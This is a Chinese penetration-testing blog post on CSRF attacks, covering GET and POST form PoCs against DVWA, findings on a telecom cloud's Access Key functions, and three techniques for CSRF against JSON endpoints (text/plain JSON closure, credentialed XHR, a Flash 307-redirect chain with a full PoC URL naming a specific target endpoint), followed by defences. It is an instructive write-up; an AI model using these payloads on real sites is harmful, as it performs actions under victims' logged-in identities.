一次渗透测试引发的Json格式下CSRF攻击的探索

2020-06-24 约 297 字 预计阅读 2 分钟

声明:本文 【一次渗透测试引发的Json格式下CSRF攻击的探索】 由作者 0xdawn 于 2020-06-24 10:05:32 首发 先知社区 曾经 浏览数 131 次

感谢 0xdawn 的辛苦付出!

0x00 前言

漏洞背景

hw时期在电信三巨头之一旗下的子公司出差,做一下渗透测试。公网的业务主挖逻辑漏洞,但是每次挖着挖着就变成了CSRF攻击,出差半个月算是把这辈子的CSRF都给挖完了。

testme师傅说的一句话:开发者修或不修,挖洞者觉得鸡肋不鸡肋,CSRF漏洞就躺着那里。这一次的体会很深,某云基本所有的业务逻辑都存在CSRF洞。

CSRF原理

还是来梳理一下大致的流程

1.用户C浏览并登录信任网站A

2.验证通过,Web A产生一个Cookie返回给用户C

3.用户在没有等处的情况下访问Web B

4.B要求访问第三方站点Web A,发出一个请求

5.浏览器带着步骤2产生的Cookie,根据步骤4的请求访问Web A

这就造成了一次CSRF攻击,原理是利用目标用户的合法身份,以用户的名义执行非法操作

0x01 常见CSRF利用

GET型CSRF

这里选择DVWA的low级,可以抓包查看修改密码的请求如下

可以看到发送了一个GET请求,来看看有哪些HTML元素可以实现这一请求

HTML中能够设置src/href等链接地址的标签都可以发起一个GET请求,具体如下:

<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">

以及CSS样式中的:

@import ""
background:url("")
...

这里可以直接选择Burp Suite的Generate CSRF PoC生成

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
      <input type="hidden" name="password_new" value="123456" />
      <input type="hidden" name="password_conf" value="123456" />
      <input type="hidden" name="Change" value="Change" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

当用户在登录状态下打开并点击Submit request按钮时,便会提交修改密码请求

POST型CSRF

POST型与GET型的区别就在于POST型CSRF需要构造form表单,再由JavaScript自动提交

这里给出一个参考的攻击页面,当然也可以Burp Suite直接生成POC

<html>
<head>
    <title>
        post data
    </title>    
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
    var id = document.getElementById("id");
    id.submit();
</script>
</body>
</html>

0x02 真实场景利用

某云多处POST型CSRF

创建Access Key

由于是即将上线的业务,6月22日前暂未修复,关键数据打马

创建Access Key只是向服务器提交了一个POST请求,数据为空,POC如下

当用户在已登录情况下打开,会创建一个Access Key

删除Access Key

这里由POST提交的id即为我们之前创建的Access Key(不是上面那一个。。)

我最先测的是删除的这个功能点,但是甲方不收,说这个id没有办法获取到,后来才测了创建的那个功能点。实际上,整个系统能够越权的地方都产生了CSRF,不能越权的地方也可以用CSRF去打,算是通病了。

POC与上面那个类似,唯一区别就是这里带了post数据,value替换为相应id即可。

今天准备复现的时候发现系统已经暂时下线了,估计正在修复,所以用了之前提交的测试报告的图。

0x03 Json格式下的CSRF

在内网测试域遇到了一个POST型CSRF,且提交的数据为json格式

如果直接用常规poc的话,会导致415,poc如下

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://xxxxxx/simauth/app/updateAppInfo" method="POST" enctype="text/plain">
      <input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:

1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。

2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。

思路一:json格式闭合

我们可以抓包看一下这个poc提交的请求详情

可以看到这段POST数据结尾多了一个=,这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。 这时候我们可以给value赋值从而对=后的数据进行补全,使其构造成一个完整的json格式,可以避免解析器报错

<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

可以看到这里已经闭合成了一个完整的json格式的数据,但是提交数据还是会返回415.因为在原始的数据包中Content-Typeapplication/json,而以form表单的形式去提交是没办法设置enctypeapplication/json的。为了进一步验证,修改enctypeapplication/json,再抓包查看请求详情。

可以看到Content-Type自动转换为了application/x-www-form-urlencoded,进一步验证

enctype改回text/plain并抓包,修改Content-Typeapplication/json

返回操作成功,自此可以确定服务端对Content-Type进行了校验。

思路二:通过XHR提交

当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。 然而如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败。

所以在此场景下,这一思路是行不通的。但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

XHR CSRF POC

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
        xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
        xhr.withCredentials = true;
        xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
    }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();"/>
    </form>
  </body>
</html>

思路三:借助flash,利用307跳转实现CSRF

1.制作一个Flash文件

2.制作一个跨域XML文件

3.制作一个具有307状态码的php文件

已经有大牛造好轮子了,参考:https://github.com/sp1d3r/swf_json_csrf

POC

https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php

或者直接在ui.html页面配置

整个攻击链

1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。

2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。

3、victim.com收到一条POST请求,并且Content-Type为application/json。

4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。

然而在实际测试中却并没有起到理想中的效果,只能是记录一下方法

0x04 防御CSRF

检查Referer

一般情况下,用户提交站内请求,Referer中的来源应该是站内地址。如果发现Referer中的地址异常,就有可能遭到了CSRF攻击。在浏览器客户端层面,使用JavaScript和ActionScript已经无法修改HTTP Referer了,检查Referer字段是个不错的方法。

限制Cookie生命周期

CSRF产生的主要原因就是Cookie时效性未过的情况下,冒用用户身份进行非法操作。而如果cookie失效,或者退出登录,甚至切换一个浏览器,CSRF就不复存在了。限制Cookie的生命周期,一定程度上能减少被CSRF攻击的概率。

使用验证码

使用验证码是阻断CSRF攻击的有效手段,在用户进行相应操作时输入验证码,可以最大限度上杜绝CSRF,唯一的缺点是会降低用户体验。

使用一次性token

Anti-CSRF-token是当下最流行的解决方案,在开发过程中我们可以在HTTP请求中以参数的形式加入一个随机产生的token,并在服务端进行token校验,如果请求中没有token或者token内容不正确,则认为是CSRF攻击而拒绝该请求。

0x05 Reference

参考链接

谈谈Json格式下的CSRF攻击

浅析CSRF漏洞的利用与防御机制

JSON CSRF新姿势

JSON CSRF的一个案例

参考文献

Web前端黑客技术揭秘

关键词:[‘渗透测试’, ‘渗透测试’]

相关文章:


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now